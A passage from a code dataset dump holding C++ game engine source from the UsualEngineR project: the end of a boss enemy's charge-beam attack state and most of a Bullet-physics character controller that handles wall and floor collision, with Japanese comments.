true;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tp->ApplyDamage(m_damage);\n\t\t\t\t\t}\n\t\t\t\t\tm_endBeamTimer = 0.f;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tm_isKnockBack = false;\n\t\t\tm_isBeamSound = false;\n\t\t\t//m_beamSE->Stop();\n\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enStunState));\n\t\t}\n\t}\n\treturn this;\n}\n\nvoid Boss_FatmanChargeBeamState::Exit(IEnemy* e)\n{\n}\n\nbool Boss_FatmanChargeBeamState::Charge(IEnemy* e)\n{\n\tfloat chargeTime = 3.0f;\t\t//溜めている時間。\n\tif (EnBattlePhase::Mad == Boss_Fatman::GetCurrentBattlePhase()) {\n\t\tchargeTime = 1.0f;\n\t}\n\telse if (EnBattlePhase::Tired == Boss_Fatman::GetCurrentBattlePhase()) {\n\t\tchargeTime = 2.0f;\n\t}\n\n\tm_chargeTimer += gameTime()->GetDeltaTime();\n\tif (m_chargeTimer > chargeTime) {\n\t\treturn true;\n\t}\n\n\tfor (int i = 0; i < IKNum; i++) {\n\t\t//エフェクトの設定。\n\t\t//エフェクトを溜め状態に設定。\n\t\tm_beams[i]->SetChange(true);\n\n\t\t//大きさを小さめに設定。\n\t\tm_beams[i]->SetSca(Vector3::One * 0.03);\n\n\t\t//骨の座標の取得。\n\t\tauto epos = m_ik[i]->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\t\tm_beams[i]->SetPos(epos);\n\n\t\t//モデルからプレイヤーまでの方向を設定。\n\t\tauto& p = GameManager::GetInstance().m_player;\n\t\tauto ppos = p->GetPosition();\n\t\t\n\t\t//狙いを少し上にする。\n\t\tconst float yUp = 4.f;\n\t\tppos.y += yUp;\n\n\t\t//エフェクトの再生。\n\t\tm_beams[i]->Play();\t\t\n\t\tm_beams[i]->SetRot(m_ik[i]->GetEffectorBone()->GetWorldMatrix().GetRotate());\t\t\n\n\t\t//IKで砲身を動かす。\n\t\tm_ik[i]->SetNextTarget(ppos);\n\t}\n\t\n\t//モデルがプレイヤーの方向を向くように設定。\n\te->GetModel()->SetRotation(Boss_Fatman::EnemyToPlayerRotation(e));\t\n\treturn false;\n}\n\nbool Boss_FatmanChargeBeamState::BeamJudge(IEnemy* e, int ikNo)\n{\n\t//エフェクトの溜め状態を解除。\n\tm_beams[ikNo]->SetChange(false);\n\t//大きさを大きめに設定。\n\tm_beams[ikNo]->SetSca(Vector3::One * 0.3);\n\n\t//ビームの幅の判定。\n\t//敵からプレイヤーに向かうベクトル。\n\t//m_positionは最初にロックオンしたときのプレイヤーの位置。\n\tauto epos = m_ik[ikNo]->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\n\tVector3 vecEtoP = m_position - epos;\n\t//m_beams[boneNo]->SetToPlayerDir(vecEtoP);\n\n\t//外積。横方向に伸びた、VecPtoEに直行するベクトル。\n\tVector3 EWidth;\n\tEWidth.Cross(vecEtoP, Vector3::Up);\n\tEWidth.Normalize();\n\n\t//外積。縦方向に伸びた、VecPtoEに直行するベクトル。\n\tVector3 EHeight;\n\tEHeight.Cross(vecEtoP, Vector3::Right);\n\tEHeight.Normalize();\n\n\t//pposは現在のプレイヤーの位置。\n\tauto& p = GameManager::GetInstance().m_player;\n\tauto& ppos = p->GetPosition();\n\tVector3 vecEtoCurrentP = ppos - epos;\n\n\t//プレイヤーと敵を横に並べたと仮定したときの距離。\n\tfloat dirW = EWidth.Dot(vecEtoCurrentP);\n\n\t//プレイヤーと敵を縦に並べたと仮定したときの距離。\n\tfloat dirH = EHeight.Dot(vecEtoCurrentP);\n\n\t//正面にいるかどうか判定するための内積。\n\t//マイナスだったら後ろ。\n\tfloat front = vecEtoP.Dot(vecEtoCurrentP);\n\n\t//IKで砲身を動かす。\n\t/*const float yUp = 4.f;\n\tm_position.y += yUp;*/\n\tm_ik[ikNo]->SetNextTarget(m_position);\n\t\n\tm_beams[ikNo]->SetPos(epos);\n\tm_beams[ikNo]->SetRot(m_ik[ikNo]->GetEffectorBone()->GetWorldMatrix().GetRotate());\n\tm_beams[ikNo]->Play();\n\n\t/*if (!m_beamSE->IsPlaying()) {\n\t\tm_beamSE->Play(true);\n\t}*/\n\n\tif (!m_isBeamSound) {\n\t\tm_isBeamSound = true;\n\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/beam.wav\");\n\t\tse->Play(false);\n\t}\n\n\tconst float beamWidth = 8.0f;\t\t//ビームの幅。\n\tif (std::abs(dirW) < beamWidth and std::abs(dirH) < beamWidth and front > 0) {\n\t\treturn true;\n\t}\n\treturn false;\n}\n"
},
{
"alpha_fraction": 0.6527777910232544,
"alphanum_fraction": 0.6681389808654785,
"avg_line_length": 29.098966598510742,
"blob_id": "c242eee966665c4f624e29b685e1262700aac659",
"content_id": "17930c352caca373f29bc2aeb7cedee2804c1341",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 23782,
"license_type": "no_license",
"max_line_length": 123,
"num_lines": 677,
"path": "/UsualEngineR/Character/CharacterController copy.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "/*!\n* @brief\tキャラクタのコリジョンコントロール。\n*/\n\n#include \"PreCompile.h\"\n#include \"character/CharacterController.h\"\n#include \"Physics/CollisionAttr.h\"\n\n\n\nnamespace UER\n{\n\tconst float RAD_GROUND = 0.42f;\n\tconst float RAD_WALL = 0.4;\n\t//衝突したときに呼ばれる関数オブジェクト(地面用)\n\tstruct SweepResultGround : public btCollisionWorld::ConvexResultCallback\n\t{\n\t\tbool isHit = false;\t\t\t\t\t\t\t\t\t//衝突フラグ。\n\t\tVector3 hitPos = Vector3(0.0f, -FLT_MAX, 0.0f);\t//衝突点。\n\t\tVector3 startPos = g_vec3Zero;\t\t\t\t\t//レイの始点。\n\t\tVector3 hitNormal = g_vec3Zero;\t\t\t\t//衝突点の法線。\n\t\tbtCollisionObject* me = nullptr;\t\t\t\t\t//自分自身。自分自身との衝突を除外するためのメンバ。\n\t\tfloat dist = FLT_MAX;\t\t\t\t\t\t\t\t//衝突点までの距離。一番近い衝突点を求めるため。FLT_MAXは単精度の浮動小数点が取りうる最大の値。\n\n\t\tbool isHitWall = false;\n\t\tVector3 wallNormal = g_vec3Zero;\n\t\tVector3 wallHitPos = g_vec3One;\n\t\tfloat wallDist = FLT_MAX;\n\n\t\tint nonHitCollisionAttr = 0;\n\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//衝突したときに呼ばれるコールバック関数。\n\t\tvirtual\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t\t{\n\t\t\tif (convexResult.m_hitCollisionObject == me\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Character\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_NonHit\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & nonHitCollisionAttr\n\t\t\t\t) {\n\t\t\t\t//自分に衝突した。or キャラクタ属性のコリジョンと衝突した。\n\t\t\t\treturn 0.0f;\n\t\t\t}\n\t\t\t//衝突点の法線を引っ張ってくる。\n\t\t\tVector3 hitNormalTmp = *(Vector3*)&convexResult.m_hitNormalLocal;\n\t\t\t//上方向と法線のなす角度を求める。\n\t\t\tfloat angle = hitNormalTmp.Dot(g_vec3Up);\n\t\t\tangle = fabsf(acosf(angle));\n\t\t\t//if (angle <= Math::PI * RAD_GROUND && 0 \t//地面の傾斜が54度より小さいので地面とみなす。\n\t\t\tif (angle < Math::PI * RAD_GROUND\t//地面の傾斜が54度より小さいので地面とみなす。\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Ground //もしくはコリジョン属性が地面と指定されている。\n\t\t\t\t) \n\t\t\t{\n\t\t\t\t//衝突している。\n\t\t\t\tisHit = true;\n\t\t\t\tVector3 hitPosTmp = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\t\t//衝突点の距離を求める。。\n\t\t\t\tVector3 vDist;\n\t\t\t\tvDist.Subtract(hitPosTmp, startPos);\n\t\t\t\tfloat distTmp = vDist.Length();\n\t\t\t\tif (dist > distTmp)\n\t\t\t\t{\n\t\t\t\t\t//この衝突点の方が近いので、最近傍の衝突点を更新する。\n\t\t\t\t\thitPos = hitPosTmp;\n\t\t\t\t\thitNormal = *(Vector3*)&convexResult.m_hitNormalLocal;\n\t\t\t\t\tdist = distTmp;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(angle >= Math::PI * 0.4\n\t\t\t\t//|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Ground\t//もしくはコリジョン属性が地面と指定されている。\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Character\t//もしくはコリジョン属性がキャラクタなので壁とみなす。\n\t\t\t\t)\n\t\t\t{\n\t\t\t\t//return 0.f;\n\t\t\t\tisHitWall = true;\n\t\t\t\tVector3 hitPosTmp = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\t\t//衝突点の距離を求める。。\n\t\t\t\tVector3 vDist;\n\t\t\t\tvDist.Subtract(hitPosTmp, startPos);\n\t\t\t\tfloat distTmp = vDist.Length();\n\t\t\t\tif (wallDist > distTmp)\n\t\t\t\t{\n\t\t\t\t\twallHitPos = hitPosTmp;\n\t\t\t\t\twallNormal = *(Vector3*)&convexResult.m_hitNormalLocal;\n\t\t\t\t\twallDist = distTmp;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn 0.0f;\n\t\t}\n\t};\n\t//衝突したときに呼ばれる関数オブジェクト(壁用)\n\tstruct SweepResultWall : public btCollisionWorld::ConvexResultCallback\n\t{\n\t\tbool isHit = false;\t\t\t\t\t\t//衝突フラグ。\n\t\tVector3 hitPos = g_vec3Zero;\t\t//衝突点。\n\t\tVector3 startPos = g_vec3Zero;\t\t//レイの始点。\n\t\tfloat dist = FLT_MAX;\t\t\t\t\t//衝突点までの距離。一番近い衝突点を求めるため。FLT_MAXは単精度の浮動小数点が取りうる最大の値。\n\t\tVector3 hitNormal = g_vec3Zero;\t//衝突点の法線。\n\t\tbtCollisionObject* me = nullptr;\t\t//自分自身。自分自身との衝突を除外するためのメンバ。\n\n\t\tbool isHitFloor = false;\n\t\tVector3 floorNormal = g_vec3Zero;\n\t\tVector3 floorHitPos = g_vec3One;\n\t\tfloat floorDist = FLT_MAX;\n\t\tint nonHitCollisionAttr = 0;\n\t\t\t\t\t\t\t\t\t\t\t\t//衝突したときに呼ばれるコールバック関数。\n\t\tvirtual\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t\t{\n\t\t\tif (convexResult.m_hitCollisionObject == me\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_NonHit\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & nonHitCollisionAttr\n\t\t\t\t)\n\t\t\t{\n\t\t\t\t//自分に衝突した。or 地面に衝突した。\n\t\t\t\treturn 0.0f;\n\t\t\t}\n\t\t\t//衝突点の法線を引っ張ってくる。\n\t\t\tVector3 hitNormalTmp;\n\t\t\thitNormalTmp.Set(convexResult.m_hitNormalLocal);\n\t\t\t//上方向と衝突点の法線のなす角度を求める。\n\t\t\tfloat cta = hitNormalTmp.Dot(g_vec3Up);\n\t\t\tfloat angle = fabsf(acosf(cta));\n\n\t\t\t//if (angle >= Math::PI * RAD_WALL && 1 \t\t//地面の傾斜が54度以上なので壁とみなす。\n\t\t\tif (angle >= Math::PI * RAD_WALL \t\t//地面の傾斜が54度以上なので壁とみなす。\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Character\t//もしくはコリジョン属性がキャラクタなので壁とみなす。\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Wall\n\t\t\t\t//|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Ground\n\t\t\t\t)\n\t\t\t{\n\t\t\t\tisHit = true;\n\t\t\t\tVector3 hitPosTmp;\n\t\t\t\thitPosTmp.Set(convexResult.m_hitPointLocal);\n\t\t\t\t//交点との距離を調べる。\n\t\t\t\tVector3 vDist;\n\t\t\t\tvDist.Subtract(hitPosTmp, startPos);\n\t\t\t\tvDist.y = 0.0f;\n\t\t\t\tfloat distTmp = vDist.Length();\n\t\t\t\tif (distTmp < dist)\n\t\t\t\t{\n\t\t\t\t\t//この衝突点の方が近いので、最近傍の衝突点を更新する。\n\t\t\t\t\thitPos = hitPosTmp;\n\t\t\t\t\tdist = distTmp;\n\t\t\t\t\thitNormal = hitNormalTmp;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(angle <= Math::PI * RAD_GROUND\n\t\t\t\t|| convexResult.m_hitCollisionObject->getUserIndex() & enCollisionAttr_Ground\n\t\t\t\t)\n\t\t\t{\n\t\t\t\tisHitFloor = true;\n\n\t\t\t\tVector3 hitPosTmp = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\t\t//衝突点の距離を求める。。\n\t\t\t\tVector3 vDist;\n\t\t\t\tvDist.Subtract(hitPosTmp, startPos);\n\t\t\t\tvDist.y = 0.0f;\n\t\t\t\tfloat distTmp = vDist.Length();\n\t\t\t\tif (floorDist > distTmp)\n\t\t\t\t{\n\t\t\t\t\tfloorHitPos = hitPosTmp;\n\t\t\t\t\tfloorNormal = hitNormalTmp;\n\t\t\t\t\tfloorDist = distTmp;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn 0.0f;\n\t\t}\n\t};\n\n\tstruct ContactTestResult :public btCollisionWorld::ContactResultCallback\n\t{\n\t\tbool isHit = false;\n\t\tVector3 hitNormal = Vector3::Zero;\n\t\tVector3 hitPos = Vector3::Zero;\n\t\tfloat dist = 0;\n\n\t\tint nonHitCollisionAttr = 0;\n\n\t\t// ContactResultCallback を介して継承されました\n\t\tvirtual btScalar addSingleResult(btManifoldPoint& cp,\n\t\t\tconst btCollisionObjectWrapper* colObj0Wrap, int partId0, int index0,\n\t\t\tconst btCollisionObjectWrapper* colObj1Wrap, int partId1, int index1) override\n\t\t{\n\t\t\tint ind = colObj1Wrap->getCollisionObject()->getUserIndex();\n\t\t\tif (ind & enCollisionAttr_NonHit\n\t\t\t\t|| ind & nonHitCollisionAttr\n\t\t\t\t)\n\t\t\t\treturn 0.f;\n\n\t\t\t\n\t\t\tif (cp.getDistance() <= dist)\n\t\t\t{\n\t\t\t\tisHit = true;\n\t\t\t\thitNormal = cp.m_normalWorldOnB;\n\t\t\t\thitPos = cp.getPositionWorldOnB();\n\t\t\t\tdist = cp.getDistance();\n\t\t\t}\n\n\n\t\t\treturn 0.f;\n\t\t}\n\t};\n\n\n\tvoid CharacterController::Init(float radius, float height, const Vector3& position,bool isUseRigidBody)\n\t{\n\t\tm_position = position;\n\t\t//コリジョン作成。\n\t\tm_radius = radius;\n\t\tm_height = height;\n\t\tm_collider.Create(radius, height);\n\t\t//m_collider.Create(radius);\n\t\t//isUseRigidBody = true;\n\t\tif (isUseRigidBody)\n\t\t{\n\t\t\t//剛体を初期化。\n\t\t\tRigidBodyInfo rbInfo;\n\t\t\trbInfo.collider = &m_collider;\n\t\t\trbInfo.mass = 0.0f;\n\t\t\tm_rigidBody.Create(rbInfo);\n\t\t\tbtTransform& trans = m_rigidBody.GetBody()->getWorldTransform();\n\t\t\t//剛体の位置を更新。\n\t\t\ttrans.setOrigin(btVector3(position.x, position.y, position.z));\n\t\t\t//todo: 未対応。trans.setRotation(btQuaternion(rotation.x, rotation.y, rotation.z));\n\t\t\tm_rigidBody.GetBody()->setUserIndex(enCollisionAttr_Character);\n\t\t\tm_rigidBody.GetBody()->setCollisionFlags(btCollisionObject::CF_CHARACTER_OBJECT);\n\t\t\tPhysics().AddRigidBody(m_rigidBody);\n\t\t}\n\t\tm_isUseRigidBody = isUseRigidBody;\n\t}\n\tstatic bool isDebugPrinted = true;\n\tconst Vector3& CharacterController::Execute(float deltaTime, const Vector3& moveSpeed)\n\t{\n\t\tisDebugPrinted = false;\n\t\tif (std::isnan(moveSpeed.x) || std::isnan(moveSpeed.y) || std::isnan(moveSpeed.z) || std::isinf(moveSpeed.x))\n\t\t{\n\t\t\tDebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"nextPos is Nan !!!!\");\n\t\t}\n\n\t\tif (moveSpeed.y > 0.0f) {\n\t\t\t//吹っ飛び中にする。\n\t\t\tm_isJump = true;\n\t\t\tm_isOnGround = false;\n\t\t}\n\t\t//次の移動先となる座標を計算する。\n\t\tVector3 nextPosition = m_position;\n\t\t//速度からこのフレームでの移動量を求める。オイラー積分。\n\t\tVector3 addPos = moveSpeed;\n\t\taddPos *= deltaTime;\n\t\tnextPosition += addPos;\n\n\t\tVector3 addV = addPos;\n\t\taddV.Normalize();\n\n\t\t//const float OFFSETXZ = Vector3(addPos.x, 0, addPos.z).Length()*0.5f*0+0.1;\n\t\t//const float OFFSETY = fabsf(addPos.y)*0.5f*0 + 0.1;\n\n\t\tm_offsetXZ = Vector3(addPos.x, 0, addPos.z).Length() * 0.1 + m_radius;\n\t\t//m_offsetY = m_radius;\n\n\t\tVector3 oldnextPos = m_position;\n\n\t\tfloat Ypos = 0.f;\n\n\t\tVector3 originalXZDir = addPos;\n\t\toriginalXZDir.y = 0.0f;\n\t\toriginalXZDir.Normalize();\n\t\t//XZ平面での衝突検出と衝突解決を行う。\n\n\t\tExecuteWall(m_position, nextPosition, originalXZDir, Ypos);\n\n\t\t//XZの移動は確定。\n\t\tm_position.x = nextPosition.x;\n\t\tm_position.z = nextPosition.z;\n\n\n\t\t//下方向を調べる。\n\n\t\t{\n\t\t\tbtRigidBody* btBody = m_rigidBody.GetBody();\n\t\t\t//剛体を動かす。\n\t\t\tbtBody->setActivationState(DISABLE_DEACTIVATION);\n\t\t\tbtTransform& trans = btBody->getWorldTransform();\n\t\t\t//剛体の位置を更新。\n\t\t\ttrans.setOrigin(btVector3(m_position.x, m_position.y + m_height * 0.5f + m_radius, m_position.z));\n\t\t\tExebuteContactTest(addV);\n\t\t}\n\n\t\tExecuteFloor(m_position, nextPosition, originalXZDir, Ypos);\n\n\t\tif (std::isnan(nextPosition.x) || std::isnan(nextPosition.y) || std::isnan(nextPosition.z) || std::isinf(nextPosition.x))\n\t\t{\n\t\t\tDebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"nextPos is Nan !!!!\");\n\t\t}\n\n#if DEBUG_FUNC\n\t\t//auto v = m_position - nextPosition;\n\t\t//if (isDebugPrinted)\n\t\t\t//DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"END EXECUTE\\n\");\n\n#endif\n\n\t\t//移動確定。\n\t\tm_position = nextPosition;\n\t\t//m_position.y += 0.1f;\n\t\tif (m_isUseRigidBody)\n\t\t{\n\t\t\tbtRigidBody* btBody = m_rigidBody.GetBody();\n\t\t\t//剛体を動かす。\n\t\t\tbtBody->setActivationState(DISABLE_DEACTIVATION);\n\t\t\tbtTransform& trans = btBody->getWorldTransform();\n\t\t\t//剛体の位置を更新。\n\t\t\ttrans.setOrigin(btVector3(m_position.x, m_position.y + m_height * 0.5f + m_radius, m_position.z));\n\t\t\t//@todo 未対応。 trans.setRotation(btQuaternion(rotation.x, rotation.y, rotation.z));\n\t\t}\n\n\t\tExebuteContactTest(addV);\n\n\t\treturn m_position;\n\t}\n\tvoid CharacterController::ExecuteWall(Vector3& nowPos, Vector3& nextPos, const Vector3& originalXZDir, float& Ypos)\n\t{\n\t\t//const float OFFSETXZ = m_radius;\n\n\t\tbool isHitFloor = false;\n\t\tVector3 floorPos;\n\t\tVector3 floorNor;\n\n\t\tint loopCount = 0;\n\t\twhile (true) {\n\t\t\t//現在の座標から次の移動先へ向かうベクトルを求める。\n\t\t\tVector3 addPos;\n\t\t\taddPos.Subtract(nextPos, nowPos);\n\t\t\tVector3 addPosXZ = addPos;\n\t\t\taddPosXZ.y = 0.0f;\n\t\t\tif (addPosXZ.Length() < FLT_EPSILON) {\n\t\t\t\t//XZ平面で動きがないので調べる必要なし。\n\t\t\t\t//FLT_EPSILONは1より大きい、最小の値との差分を表す定数。\n\t\t\t\t//とても小さい値のことです。\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t//カプセルコライダーの中心座標 + 高さ*0.1の座標をposTmpに求める。\n\t\t\tVector3 posTmp = nowPos;\n\t\t\tif (!isHitFloor)\n\t\t\t\tposTmp.y += m_height * 0.5f + m_radius;// +0.1f;\n\t\t\telse\n\t\t\t\tposTmp.y += m_height * 0.5f + m_radius;// +0.1f;\n\n\t\t\t//posTmp.y += m_height + m_radius + m_height * 0.1f;\n\t\t\t//レイを作成。\n\t\t\tbtTransform start, end;\n\t\t\tstart.setIdentity();\n\t\t\tend.setIdentity();\n\t\t\t//始点はカプセルコライダーの中心座標 + 0.2の座標をposTmpに求める。\n\t\t\tstart.setOrigin(btVector3(posTmp.x, posTmp.y, posTmp.z));\n\t\t\t//終点は次の移動先。XZ平面での衝突を調べるので、yはposTmp.yを設定する。\n\t\t\tend.setOrigin(btVector3(nextPos.x, posTmp.y, nextPos.z));\n\n\t\t\tSweepResultWall callback;\n\t\t\tif (m_isUseRigidBody)\n\t\t\t\tcallback.me = m_rigidBody.GetBody();\n\t\t\tcallback.startPos = posTmp;\n\t\t\tcallback.nonHitCollisionAttr = m_nonHitCollisionAttr;\n\t\t\t//衝突検出。\n\t\t\tPhysics().ConvexSweepTest((const btConvexShape*)m_collider.GetBody(), start, end, callback);\n\n\t\t\tfloat f2wR = acosf(callback.floorNormal.Dot(callback.hitNormal));\n\n\t\t\tbool isNearHitWall = callback.dist <= callback.floorDist;\n\t\t\t//isNearHitWall |= f2wR < Math::PI * 0.05f;\n\t\t\t//isNearHitWall = true;\n\t\t\tisNearHitWall = callback.isHit;\n\t\t\t//if (!isNearHitWall && callback.isHitFloor && 1)\n\t\t\tif (!isNearHitWall && callback.isHitFloor)\n\t\t\t{\n\n\t\t\t\tVector3 vT0, vT1;\n\t\t\t\t//XZ平面上での移動後の座標をvT0に、交点の座標をvT1に設定する。\n\t\t\t\t//vT0.Set(nextPos.x, 0.0f, nextPos.z);\n\t\t\t\t//vT1.Set(callback.floorHitPos.x, 0.0f, callback.floorHitPos.z);\n\t\t\t\tvT0 = nextPos;\n\t\t\t\tvT0.y = nowPos.y+ m_height * 0.5f + m_radius;\n\t\t\t\tvT1 = callback.floorHitPos;\n\t\t\t\t//めり込みが発生している移動ベクトルを求める。\n\t\t\t\tVector3 vMerikomi;\n\t\t\t\tvMerikomi = vT0 - vT1;\n\t\t\t\t//XZ平面での衝突した壁の法線を求める。。\n\t\t\t\tVector3 hitNormalXZ = callback.floorNormal;\n\t\t\t\t//hitNormalXZ.y = 0.0f;\n\t\t\t\t//hitNormalXZ.Normalize();\n\t\t\t\t//めり込みベクトルを壁の法線に射影する。\n\t\t\t\tfloat fT0 = hitNormalXZ.Dot(vMerikomi);\n\t\t\t\t//押し戻し返すベクトルを求める。\n\t\t\t\t//押し返すベクトルは壁の法線に射影されためり込みベクトル+半径。\n\t\t\t\tVector3 vOffset;\n\t\t\t\tvOffset = hitNormalXZ;\n\t\t\t\tvOffset *= -fT0 + m_radius;\n\t\t\t\tnextPos += vOffset;\n\t\t\t}\n\n\t\t\tif (isNearHitWall && callback.isHit)\n\t\t\t//if (callback.isHit)\n\t\t\t{\n#if 1\n\t\t\t\t//当たった。\n\t\t\t\t//壁。\n\t\t\t\tVector3 vT0, vT1;\n\t\t\t\t//XZ平面上での移動後の座標をvT0に、交点の座標をvT1に設定する。\n\t\t\t\tvT0.Set(nextPos.x, 0.0f, nextPos.z);\n\t\t\t\tvT1.Set(callback.hitPos.x, 0.0f, callback.hitPos.z);\n\t\t\t\t//めり込みが発生している移動ベクトルを求める。\n\t\t\t\tVector3 vMerikomi;\n\t\t\t\tvMerikomi = vT0 - vT1;\n\t\t\t\t//XZ平面での衝突した壁の法線を求める。。\n\t\t\t\tVector3 hitNormalXZ = callback.hitNormal;\n\t\t\t\thitNormalXZ.y = 0.0f;\n\t\t\t\thitNormalXZ.Normalize();\n\t\t\t\t//めり込みベクトルを壁の法線に射影する。\n\t\t\t\tfloat fT0 = hitNormalXZ.Dot(vMerikomi);\n\t\t\t\t//押し戻し返すベクトルを求める。\n\t\t\t\t//押し返すベクトルは壁の法線に射影されためり込みベクトル+半径。\n\t\t\t\tVector3 vOffset;\n\t\t\t\tvOffset = hitNormalXZ;\n\t\t\t\tvOffset *= -fT0 + m_radius + m_offsetXZ;\n\t\t\t\tnextPos += vOffset;\n\n\t\t\t\t//Yの値は入ってないよ!\n\t\t\t\t/*if (vOffset.y > 0.f || vOffset.y < 0.f)\n\t\t\t\t{\n\t\t\t\t\tprintf(\"BIG Y\");\n\t\t\t\t}*/\n#endif\n\n\t\t\t\tVector3 currentDir;\n\t\t\t\tcurrentDir = nextPos - nowPos;\n\t\t\t\tcurrentDir.y = 0.0f;\n\t\t\t\tcurrentDir.Normalize();\n\n\t\t\t\tif (std::isnan(nextPos.x) || std::isnan(nextPos.y) || std::isnan(nextPos.z) || std::isinf(nextPos.x))\n\t\t\t\t{\n\t\t\t\t\t//DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"nextPos is Nan !!!!\");\n\t\t\t\t}\n\n\t\t\t\t//DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"HIT WALL\");\n\t\t\t\tisDebugPrinted = true;\n\t\t\t\t//DebugPrintVector3(EDebugConsoleKind::master, nextPos);\n\t\t\t\tif (currentDir.Dot(originalXZDir) < 0.0f) {\n\t\t\t\t\t//角に入った時のキャラクタの振動を防止するために、\n\t\t\t\t\t//移動先が逆向きになったら移動をキャンセルする。\n\t\t\t\t\tnextPos.x = nowPos.x;\n\t\t\t\t\tnextPos.z = nowPos.z;\n\t\t\t\t\t//nextPos.y = nowPos.y;\n\t\t\t\t\tDebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"KADOKAWA\");\n\t\t\t\t\t//if (isHitFloor)\n\t\t\t\t\t\t//nowPos.y = Ypos;\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//if(!(callback.isHit || callback.isHitFloor))\n\t\t\t//if(!callback.isHit)\n\t\t\t//{\n\t\t\t//\t//どことも当たらないので終わり。\n\t\t\t//\tbreak;\n\t\t\t//}\n\t\t\t/*float len = (oldnextPos - nextPosition).Length();\n\t\t\tif (len < 0.0001)\n\t\t\t\tbreak;\n\t\t\toldnextPos = nextPosition;*/\n\n\t\t\tloopCount++;\n\t\t\tif (loopCount >= 5 || !callback.isHit) \n\t\t\t{\n\t\t\t\t//if (isHitFloor)\n\t\t\t\t\t//nowPos.y = Ypos;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tvoid CharacterController::ExecuteFloor(Vector3& nowPos, Vector3& nextPos, const Vector3& originalXZDir, float& Ypos)\n\t{\n\t\t\n\t\t//const float OFFSETXZ = m_radius;\n\t\t//const float OFFSETY = m_radius;\n\n\t\t//Vector3 addPos;\n\t\t//addPos.Subtract(nextPos, nowPos);\n\t\tfloat addPosY = nextPos.y - nowPos.y;\n\n\t\t//移動の仮確定。\n\t\t//m_position.x = nextPosition.x;\t\n\t\t//m_position.z = nextPosition.z;\n\n\t\t\t\t\t\t\t\t\t//レイを作成する。\n\t\tbtTransform start, end;\n\t\tstart.setIdentity();\n\t\tend.setIdentity();\n\t\t//始点はカプセルコライダーの中心。\n\t\t//start.setOrigin(btVector3(nowPos.x, (nowPos.y), nowPos.z));\n\t\tstart.setOrigin(btVector3(nowPos.x, (nowPos.y + m_height * 0.5f + m_radius)/* + Ypos*/, nowPos.z));\n\t\t//start.setOrigin(btVector3(m_position.x, m_position.y + m_height * 0.5f + m_radius + 0.1f, m_position.z));\n\n\n\t\tbool isFall = false;\n\t\t//終点は地面上にいない場合は1m下を見る。\n\t\t//地面上にいなくてジャンプで上昇中の場合は上昇量の0.01倍下を見る。\n\t\t//地面上にいなくて降下中の場合はそのまま落下先を調べる。\n\t\tVector3 endPos;\n\t\t//endPos.Set(start.getOrigin());\n\t\tendPos.Set(nextPos);\n\t\tif (m_isOnGround == false) {\n\t\t\tif (addPosY > 0.0f) {\n\t\t\t\t//ジャンプ中とかで上昇中。\n\t\t\t\t//上昇中でもXZに移動した結果めり込んでいる可能性があるので下を調べる。\n\t\t\t\t//endPos.y -= addPos.y * 0.005f;\n\t\t\t\t//endPos.y -= 0.01f;\n\t\t\t\tendPos.y = start.getOrigin().y() - 0.001;\n\t\t\t}\n\t\t\telse if (addPosY < 0.f)\n\t\t\t{\n\t\t\t\t//落下している場合はそのまま下を調べる。\n\t\t\t\tisFall = true;\n\t\t\t\tendPos.y += addPosY;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tendPos.y -= 0.01f;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t//地面上にいない場合は1m下を見る。\n\t\t\t//endPos.y -= 1.f;\n\t\t\tendPos.y -= (m_radius + m_height * 0.5f)+0.05f;\n\t\t\t//endPos.y += addPos.y;\n\t\t}\n\t\t//end.setOrigin(btVector3(endPos.x, endPos.y/*+ Ypos*/, endPos.z));\n\t\tend.setOrigin(btVector3(endPos.x, endPos.y + m_radius + m_height * 0.5f/* + Ypos*/, endPos.z));\n\t\tSweepResultGround callback;\n\t\tif (m_isUseRigidBody)\n\t\t\tcallback.me = 